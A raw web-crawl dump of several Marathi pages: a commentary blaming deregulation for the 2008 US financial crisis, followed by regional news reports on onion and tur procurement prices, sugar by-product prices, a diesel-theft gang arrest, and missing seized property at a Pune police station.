विविधातेचा आणि असमनातेचा गैरफायदा घेउन कोणी समाजातील दुर्बल घटकांवर अन्याय करू नये परन्तु त्या विविधातेचा आणि असमनातेचा गैरफायदा घेउन कोणी समाजातील दुर्बल घटकांवर अन्याय करू नये समुद्रात भले मोठा मासा लहान माश्याला खात असेल परन्तु मनुष्यत्वाला ते मान्य नाही\nअमेरिकेतील सध्याच्या या आर्थिक उलथापालाथी मागे न्याय आणि प्रशासनातील ढिसाळपणाच कारणीभूत आहे १९८७ पासून रिपब्लिकन पक्षाच्या सरकारांनी अर्थव्यवस्था, प्रशासन, न्यायव्यवस्था, उद्योगधंधे आणि निगडित कायदे या सर्वान्मधुन शासनाला हद्दपार करण्याचे धोरण स्वीकारले १९८७ पासून रिपब्लिकन पक्षाच्या सरकारांनी अर्थव्यवस्था, प्रशासन, न्यायव्यवस्था, उद्योगधंधे आणि निगडित कायदे या सर्वान्मधुन शासनाला हद्दपार करण्याचे धोरण स्वीकारले याचा काही प्रमाणात फायदा जरुर झाला परन्तु त्याचा अतिरेक केला गेल्यामुले तोटाच जास्त झाला असे आता दिसू लागले आहे याचा काही प्रमाणात फायदा जरुर झाला परन्तु त्याचा अतिरेक केला गेल्यामुले तोटाच जास्त झाला असे आता दिसू लागले आहे यातील सर्वात जास्त दृश्य परिणाम म्हणजे अमेरिकेतील बलाढ्य अर्थसंस्था एकामागोमाग एक ढासळत गेल्या यातील सर्वात जास्त दृश्य परिणाम म्हणजे अमेरिकेतील बलाढ्य अर्थसंस्था एकामागोमाग एक ढासळत गेल्या २००८ साल या दृष्टीने लक्षात ठेवले जाईल की मागील २५ वर्षातील मुक्त अर्थव्यवस्थेच्या नावाखाली सरकारचा अंकुश सर्वच संस्थांमधुन कमी केल्यामुले अर्थव्यवस्था बेलगाम वेगाने धावली आणि गाडी रुळावरुन घसरली\nसलोनी, सरस्वती, सोफिया की एमीली \nअर्थ आणि अनर्थ - पुढे 2\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-summer-onion-harvesting-khandesh-maharashtra-7282", "date_download": "2018-09-25T17:48:21Z", "digest": "sha1:QXWL5AMMBW5PTUJA7Y45OZQGK7NMEZJ4", "length": 15774, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, summer onion harvesting, khandesh, maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nखानदेशात उन्हाळ कांदा काढणी वेगात\nखानदेशात उन्हाळ कांदा काढणी वेगात\nमंगळवार, 10 एप्रिल 2018\nकांदा उत्पादक अडचणीत आले असून, मागील १० ते १२ दिवसांमध्ये दर कमी झाले आहेत. निर्यात शुल्क दूर करूनही दर वाढले नाहीत. आयातीवरही निर्बंध लागू करावेत.\n- आत्माराम पाटील, शेतकरी, कापडणे, जि. धुळे.\nधुळे : जिल्ह्यात उन्हाळ कांद्याची काढणी (खांडणी) वेगात सुरू आहे. परंतु सध्या समाधानकारक दर नसल्याने कांदा उत्पादकांना त्याचा फटका बसत आहे. धुळे व शिरपूर बाजार समितीमध्ये कांदा आवक वाढली असून, प्रतिदिन सुमारे एक हजार क्विंटलवर आवक या दोन्ही बाजार समित्यांमध्ये होत आहे.\nधुळे बाजार समितीमध्ये कांद्याला सध्या किमान ३०० व कमाल १००० रुपये क्विंटल आणि शिरपुरातही कमाल दर १००० रुपये क्विंटलपयर्यंत आहे. मागील १० ते १२ दिवसांत दर क्विंटलमागे १०० रुपयांनी कमी झाले आहेत.\nधुळे जिल्ह्यातील जैताणे, लामकानी, गोताणे, कापडणे, न्याहळोद, इंधवे, बलसाणे, कढरे या गावांमध्ये लागवड चांगली झाली होती. शिरपुरातील अर्थे, कुवे, भाटपुरा, तरडी, तऱहाडी आदी भागांमध्ये कांद्याची चांगली लागवड झाली होती. ही लागवड यंदा वाढली. कारण कापसाचे पीक शेतकऱ्यांनी काढून पर्यायी पीक म्हणून कांद्याला पसंती दिली. परंतु कांद्याचे दर वाढलेच नाहीत. साक्री तालुक्‍यातील पिंपळनेर व परिसरातही कांद्याची चांगली लागवड झाली होती. पिंपळनेर बाजारात रोजची किमान १००० क्विंटल आवक होत आहे.\nजळगाव जिल्ह्यातील बाजारांमध्येही दर टिकून नाहीत. जिल्ह्यातील यावल तालुक्‍यातील डांभुर्णी, किनगाव, साकळी, चोपडा तालुक्‍यातील अडावद, धानोरा, लोणी, खर्डी, आडगाव, लासूर, घोडगाव भागांत कांद्याची बऱ्यापैकी लागवड झाली होती. सध्या या भागातही खांडणी वेगात सुरू आहे. आगाप लागवडीच्या कांद्याची खांडणी मार्चमध्येच सुरू झाली.\nचोपडा तालुक्‍यातील कांद्यासाठी प्रसिद्ध असलेल्या अडावद येथील उपबाजारामध्ये आवक चांगली असून, प्रतिदिन सुमारे ८०० क्विंटल आवक सुरू आहे. आवक चांगली असल्याने लिलाव सकाळीच सुरू होतात. व्यापारी शेतकऱ्यांना लिलावानंतर लागलीच रोकड देण्याची असमर्थता दाखवित आहेत. सेम डे चेक काही व्यापारी देतात. परंतु काही व्यापारी आठवडाभराचे (पोस्ट डेटेड) धनादेश देत आहेत. त्यात चुकारे किंवा पैसे मिळण्यासंबंधी शेतकऱ्यांना प्रतीक्षा करावी लागत आहे, यामुळे शेतकऱ्यांच्या अडचणी आणखी वाढल्या आहेत.\nधुळे जळगाव व्यापार शेती कांदा\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/purchase-tur-issue-41925", "date_download": "2018-09-25T17:50:47Z", "digest": "sha1:STXPWNKVO5KYBNKTABRUMX7DLLJ5TCY3", "length": 14019, "nlines": 175, "source_domain": "www.esakal.com", "title": "purchase of tur issue तूर खरेदीत कमी पडलो - गिरीश बापट | eSakal", "raw_content": "\nतूर खरेदीत कमी पडलो - गिरीश बापट\nमंगळवार, 25 एप्रिल 2017\nऔरंगाबाद - शेतकऱ्यांची तूर खरेदी करण्यात आम्ही कमी पडलो, अशी कबुली औरंगाबादेत सोमवारी पत्रकारांशी बोलताना दिली. साठवणुकीच्या प्रश्‍नावर मात करण्यासाठी आम्ही तुरीच्या साठवणुकीची क्षमता तिपटीने वाढवीत असल्याचेही त्यांनी स्पष्ट केले.\nऔरंगाबाद - शेतकऱ्यांची तूर खरेदी करण्यात आम्ही कमी पडलो, अशी कबुली औरंगाबादेत सोमवारी पत्रकारांशी बोलताना दिली. साठवणुकीच्या प्रश्‍नावर मात करण्यासाठी आम्ही तुरीच्या साठवणुकीची क्षमता तिपटीने वाढवीत असल्याचेही त्यांनी स्पष्ट केले.\nवाढवून दिलेली मुदत संपल्यानंतर तूर खरेदी बंद झाली आहे. याविरोधात राज्यभरात शेतकरी रस्त्यावर उतरून आंदोलन करत आहेत. अनेक ठिकाणी शेतकऱ्यांकडून तूर जाळण्याचेदेखील प्रयत्न झालेत. या पार्श्‍वभूमीवर बापट यांनी तूर खरेदीच्या नियोजनासंदर्भात केलेले वक्‍तव्य महत्त्वपूर्ण मानले जात आहे. बापट म्हणाले, \"\"मागणीच्या तुलनेत देशात 35 टक्‍के तुरीचे उत्पादन होत आले. मागणीनुसार उत्पादन होत नसल्याने आपण आफ्रिकी देशांकडून तुरीची खरेदी करत होतो. यंदा मात्र महाराष्ट्रातच 28 ते 29 लाख क्‍विंटल तुरीचे उत्पादन झाले आहे.''\nशेतकऱ्यांचे सातबारे घेऊन व्यापारीच खरेदी केंद्रांवर तूर आणून विकत असल्याच्या प्रश्‍नाकडे बापट यांचे लक्ष वेधले असता अशा अनेक तक्रारी येत असल्याचे मान्य केले. भंडारा जिल्ह्यात तसे प्रकार आढळून आले आहेत. असे प्रकार उघडकीस येताच संबंधितांवर गुन्हे दाखल केल्याचे त्यांनी सांगितले. या गैरप्रकाराला आळा घालण्यासाठी तूर खरेदी केंद्रांवर तूर घेऊन येणाऱ्यांकडे कृषी अधिकाऱ्यांचे प्रमाणपत्र असणे बंधनकारक केले आहे. जेणेकरून शेतकऱ्याच्या सातबाऱ्यावर जेवढा पेरा असेल त्याच प्रमाणात तूर खरेदी केली जाईल.\nभविष्यात गोदामांअभावी शेतकऱ्यांचा माल खरेदी करता आला नाही, असे होऊ नये म्हणून राज्य सरकार तीनशेहून अधिक गोदामे बांधणार आहे. 22 मेपर्यंत तूर खरेदीची टोकन संबंधित शेतकऱ्यांना देण्यात आली आहेत. त्या सर्वांची तूर खरेदी केली जाईल, असेही बापट यांनी स्पष्ट केले.\nदूध तपासणीसाठी फिरती प्रयोगशाळा\n\"\"दूध तपासणीसाठी राज्यात लवकरच फिरती दुग्ध तपासणी प्रयोगशाळा सुरू करण्यात येईल. याआधी सरकारकडून तसा प्रयत्न केला गेला; परंतु आता पुन्हा दुधातील भेसळीचे प्रकार रोखण्यासाठी फिरती प्रयोगशाळा सुरू करण्यात येणार आहे. दुधाच्या कोणत्याही वाहनाला कुठेही थांबवून या प्रयोगशाळेत त्याची तपासणी करणार आहे,'' अशी माहिती गिरीश बापट यांनी दिली. औरंगाबाद दौऱ्यावर आलेल्या बापट यांनी अन्न व नागरी पुरवठा विभागाशी संबंधित 66 तक्रारींची सुनावणी घेतली.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/sugarcane-rate-collapse/", "date_download": "2018-09-25T17:14:37Z", "digest": "sha1:YY65T3H4KLZBJSNLLAVNQZG6ADNCRUSJ", "length": 7874, "nlines": 38, "source_domain": "www.pudhari.news", "title": " बगॅस, मोलॅसिसचे दर गडगडले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › बगॅस, मोलॅसिसचे दर गडगडले\nबगॅस, मोलॅसिसचे दर गडगडले\nम्हाकवे : डी. एच. पाटील\nगत आठवड्यात ढासळलेले साखरेचे दर वाढत असतानाच बगॅस, मोलॅसिस, इथेनॉल यांचे दर घटल्याने साखर उद्योगाला याचा फटका बसत आहे. त्यामुळे साखर उद्योगाचे ग्रहण सुटता सुटेना असे म्हणण्याची वेळ शेतकरी व कारखानदार यांच्यावर आली आहे.\nगेल्या चार दिवसांपासून उपपदार्थांच्या दरात घसरण होत असून बगॅसचे दर 2200 रुपये प्रतिटन वरून 1690 रुपयांपर्यंत घसरले आहेत. तर मोलॅसिसचा दर 6500 रुपयांवरून 3500 रुपयांपर्यंत गडगडला आहे. साखर कारखान्यांचा गळीत हंगाम सुरू झाले. त्यावेळी साखरेला प्रतिक्विंटल 3600 रुपये दर होता. नोव्हेंबर, डिसेंबर, जानेवारी अखेर साखरेचे दर घसरतच आहे. दि. 6 फेब्रुवारीला तर 2900 रुपये प्रतिक्विंटल दर झाला होता. केंद्र व राज्यशासनाने खरेदीसह आयात शुल्क वाढविल्यामुळे हा दर 3200 रुपयांवर पोहोचला\nसाखरेच्या उतरत्या दरामुळे अडचणीत सापडलेल्या कारखान्यांना बगॅस, मोलॅसिस, इथेनॉल, को- जनरेशन या उपपदार्थांनी सावरले होते. मात्र, या उपपदार्थांच्या ढासळत्या दरामुळे कारखाने अडचणीत आले आहेत. पंधरा दिवसांत बगॅसचे दर प्रतिटन 2200 रुपयांवरून 1690 रुपये झाला आहे. जवळपास 500 रुपयांचा फटका कारखानदारांना बसला आहे. ही तूट कशातून भरून काढायची हा यक्ष प्रश्‍न कारखान्यांच्या समोर आहे. मोलॅसिसचे दर प्रतिटन 3000 हजार रुपयांनी कमी झाले आहेत. पूर्वी 6500 रुपये असणारा हा दर 3500 रुपयांपर्यंत घसरला आहे. वीज टंचाई दूर करण्यासाठी सहवीज प्रकल्प उभारण्यासाठी प्रोत्साहन म्हणून 6 रुपये 53 पैशांनी वीज खरेदीची शासनाने हमी दिली होती. गतवर्षी सरकार कारखानदारांकडून प्रतियुनिट 6 रुपये 53 पैसे दराने वीज खरेदी करीत होते. यामध्ये प्रतियुनिट 29 पैसे दर कमी होऊन तो 6 रुपये 24 पैसे प्रतियुनिट झाला\nआहे. ब्राझील-क्युबा सारख्या देशांमध्ये साखरेचे दर गडगडतात. त्यावेळी ब्राझील सारखा देश दरातील तूट भरून काढण्यासाठी इथेनॉलला सर्वाधिक पसंती देतो. कारण पेट्रोलमध्ये इथेनॉल मिसळण्याची सक्ती तिथे आहे. त्यामुळे ब्राझीलसारखा देश कधी साखरेच्या दरावरून अडचणीत येत नाही. उलट भारतामध्ये स्थिती आहे. सध्या साखर दराबरोबरच उपपदार्थांचे दरही घसरल्याने साखर उद्योग प्रचंड अडचणीत आला आहे. हा उद्योग अडचणीत येण्यास व्यापार्‍यांचा मनमानीपणा व साठेबाजी कारणीभूत असल्याची चर्चा आहे. अशा गोष्टीकडे शासनाने लक्ष देण्याची गरज आहे.\nसध्या कारखानदारांनी एकत्र येऊन 2500 रुपये पहिली उचल देण्याचा निर्णय घेतला आहे. मात्र, याला विरोध होत असला तरी आता गळीत हंगाम समाप्तीच्या मार्गावर आहे. त्यामुळे आंदोलनाला कितपत पाठिंबा मिळेल ही शंकाच आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Diesel-Thieves-on-Foreign-Shipping-are-arrested/", "date_download": "2018-09-25T16:54:20Z", "digest": "sha1:6TPFYYEHA4N5VDUZYGSG6OPHHKBHRV5O", "length": 6462, "nlines": 36, "source_domain": "www.pudhari.news", "title": " विदेशी जहाजातील डिझेल चोरी करणारी टोळी गजाआड | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › विदेशी जहाजातील डिझेल चोरी करणारी टोळी गजाआड\nविदेशी जहाजातील डिझेल चोरी करणारी टोळी गजाआड\nविदेशी जहाजातून डिझेल चोरी करणार्‍या एका टोळीचा येलोगेट पोलिसांनी पर्दाफाश केला असून याच टोळीशी संबंधित सातजणांना अटक केली आहे. त्यांच्याकडून पोलिसांनी एक बार्ज, अकरा लाख रुपयांचे डिझेल आणि इतर साहित्य जप्त केले आहे. या सातही आरोपींना येथील लोकल कोर्टाने न्यायालयीन कोठडी सुनावली आहे. या सातजणांमध्ये रामबाबू शत्रुघ्न ठाकूर, काशिनाथ शिवनाथ दास, मोहम्मद हर्षद अब्दुल, मनोज ऋषी, अकबर पिंजारा, मोहम्मद अली पुजंलकटी, ललितकुमार यांचा समावेश असल्याचे पोलिसांनी सांगितले.\nसमुद्रात डिझेल चोरी करणार्‍या अनेक टोळ्या कार्यरत असून यातील काही टोळ्यांचा पोलिसांनी पर्दाफाश केला होता. तरीही डिझेल चोरीच्या घटना घडत होत्या. अशा आरोपींविरुद्ध येलोगेट पोलिसांनी विशेष मोहीम सुरु केली होती. समुद्रात सतत गस्त घालून पोलीस अशा टोळ्यांचा शोध घेत आहेत. 14 मे रोजी येलोगेट पोलिसांचे एक विशेष पथक समुद्रात गस्त घालत होते. यावेळी एका बार्जजवळ काहीतरी संशयास्पद हालचाली सुरु असल्याचे पोलिसांच्या निदर्शनास आलेे. त्यानंतर पोलिसांनी तिथे जाऊन पाहणी केली असता तिथे डिझेल चोरी सुरु असल्याचे उघडकीस आले. डिझेल एका बार्जमध्ये पाईपच्या सहाय्याने लपवून ठेवण्यात आले होते. चौकशीत या टोळीने डिझेल डॉल्फिन आणि टॅग फाईव्ह या विदेशी जहाजातून चोरी केल्याची कबुली दिली.\nत्यानंतर बार्जचा मालक अकबर पिंजारा, मोहम्मदअली आणि ललितकुमारला पोलिसांनी चाौकशीसाठी ताब्यात घेतले होते. त्यांच्या चौकशीतून डिझेल चोरीचा हा प्रकार उघडकीस आला. त्यानंतर त्यांच्या इतर चार साथीदारांना पोलिसांनी ताब्यात घेतले. या सर्वांविरुद्ध चोरीसह जीवनाश्यक कायद्यांतर्गत गुन्हा नोंदवून त्यांना अटक करण्यात आली. या कारवाईत पोलिसांनी बार्जसह अकरा लाख रुपयांचे 40 हजार लिटर डिझेलचा साठा जप्त केला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Fraud-for-the-issue-of-Sahkarnagar-police-station/", "date_download": "2018-09-25T16:55:26Z", "digest": "sha1:JTBMGHMSPMFRDWBQH35NGZYH6UEX5XWF", "length": 9698, "nlines": 39, "source_domain": "www.pudhari.news", "title": " वरिष्ठ निरिक्षकांचीही होणार ‘झाडाझडती’! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › वरिष्ठ निरिक्षकांचीही होणार ‘झाडाझडती’\nवरिष्ठ निरिक्षकांचीही होणार ‘झाडाझडती’\nसहकारनगर पोलिस ठाण्यातील मुद्देमालाची अफरातफर तब्बल तेरा वर्षानंतर उघड झाल्याने पोलिस दलात आश्‍चर्य व्यक्त होत आहे. प्रत्येक वर्षाला पोलिस ठाण्यातील मुद्देमालाची तपासणी केली जाते. परंतु, ही तपासणी ही नावालाच होत आहे का असा प्रश्‍न यामुळे उपस्थित केला जात आहे. गेल्या दोन महिन्यांपासून नेमका किती मुद्देमाल गेला याबाबत तपास सुरू होता. मंगळवारी तपास पूर्ण झाला आणि या अफरातफरीचे गौडबंगाल समोर आले. या गुन्ह्यात वरिष्ठ निरीक्षकांनी दुर्लक्ष केल्याने आरोपींनी गुन्हा केलेल्या काळातील वरिष्ठ निरीक्षकांची चौकशी होणार असल्याचे एका वरिष्ठ अधिकार्‍यांनी सांगितले आहे.\nसहकारनगर पोलिस ठाण्यातील निवृत्त सहायक फौजदार मनोहर गंगाराम नेतेकर (60, रा. धायरी), जयवंत अमृत पाटील (59, रा. कर्वेनगर) यांना मंगळवारी अटक केली आहे. त्यांना बुधवारी न्यायालयाने चार फेब्रुवारीपर्यंत पोलिस कोठडीत ठेवण्याचे आदेश दिले आहेत. तर, कर्मचारी अलका गजानन इंगळे (52, रा. पुणे सातारा रोड, बिबवेवाडी) यांचा शोध सुरू आहे.\nमनोहर नेतेकर 2016 मध्ये तर जयवंत पाटील 31 ऑगस्ट 2017 रोजी सेवानिवृत्त झाले. तर, अलका इंगळे यांची नुकतीच बदली झाली. दरम्यान नेतेकर यांच्याकडून जयवंत पाटील यांनी दोन वर्षापूर्वी मुद्देमाल कारकून विभागाचा पदभार घेतला होता. त्यानंतर याठिकाणी काम करून ते 31 ऑगस्ट रोजी निवृत्त झाले आहेत. त्यानंतर एका कर्मचार्‍याकडे अतिरिक्त कार्यभार असताना हा अफरातफरीचा प्रकार समोर आला. दरम्यान 2004 ते 2017 या कालावधीत मुद्देमालाची अफरातफर करण्यात आली आहे. ती एकाच वर्षात किंवा एकाच वेळी झालेली नाही. वर्षाला थोडा-थोडा मुद्देमाल गायब करण्यात आला असे पोलिस दलातील काही जानकारांनी सांगितले. वर्षाच्या शेवटी प्रत्येक पोलिस ठाण्यातील विविध गुन्ह्यांमध्ये जप्त करण्यात आलेल्या मुद्देमालाची तपासणी केली जाते. वरिष्ठ अधिकार्‍यांच्या मार्गदर्शनाखाली हे पाहिले जाते. परंतु, तरीही तब्बल 11 लाखांची अफरातफर उघड होण्यास 13 वर्षांचा कालावधी जावा लागल्याने आश्‍चर्य व्यक्त होत आहे. त्यामुळे योग्य तपासणी होत नाही का असा प्रश्‍न उपस्थित होत आहे.\nसर्व पोलिस ठाण्यातील मुद्देमालाची तपासणी\nसहकारनगर पोलिस ठाण्यातील मुद्देमाल अफरातफरीचा प्रकार समोर आल्यानंतर पोलिस दलात मोठी खळबळ माजली आहे. दरम्यान याप्रकारानंतर सर्व पोलिस ठाण्यांना मुद्देमाल तपासण्याच्या सूचना देण्यात आल्या आहेत, असे सहआयुक्त रवींद्र कदम यांनी सांगितले. तसेच, झोन दोनमधील सर्व पोलिस ठाण्यांना त्यांच्याकडील मुद्देमालाची तपासणी करण्याचे आदेश पोलिस उपायुक्त डॉ. प्रवीण मुंढे यांनी दिले आहेत. यासाठी एक अधिकारी व तीन कर्मचारी यांची विशेष पथक तयार केले आहे. हे पथक पंधरा दिवसात मुद्देमालाची पाहणी करून त्याचा अहवाल 10 फेब्रुवारीपर्यंत सादर करणार आहे.\nपाटील, नेतेकर निवृत्त झाल्यानंतर या विभागाचा अतिरिक्त कार्यभार एका कर्मचार्‍याकडे देण्यात आला होता. त्यानंतर त्याला कायम कार्यभार घेण्यास सांगण्यात आले. परंतु, तो कर्मचारी कायमचा कार्यभार घेण्यास नकार देऊ लागला. त्यावेळी वरिष्ठांना काही तरी गडबड असल्याचा संशय आला. त्यानंतर या मुद्देमालाची चौकशी सुरू केली. दोन महिन्यापासून तपासणी सुरू होती. त्यानंतर तेरा वर्षात 11 लाखांचा मुद्देमाल गायब असल्याचे समोर आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार 